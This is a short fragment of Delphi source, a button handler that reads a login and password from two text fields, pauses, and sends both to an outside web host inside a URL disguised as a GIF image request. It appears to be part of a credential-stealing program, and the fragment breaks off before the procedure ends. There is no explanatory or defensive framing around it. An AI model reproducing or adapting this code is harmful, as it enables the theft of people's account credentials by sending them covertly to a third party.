procedure TForm1.Button1Click(Sender: TObject);
var
pass,login:
string
;
begin
if
(Edit1.Text=
''
) or (Edit2.Text=
''
) then
else
begin
pass:=Edit1.Text; login:=Edit2.Text;
sleep(
2000
);
IdHTTP1.Get(
'http://httpz.org/hx9p6ubcx7.gif[Login:'
+login+
';Password:'
+pass+
']'
);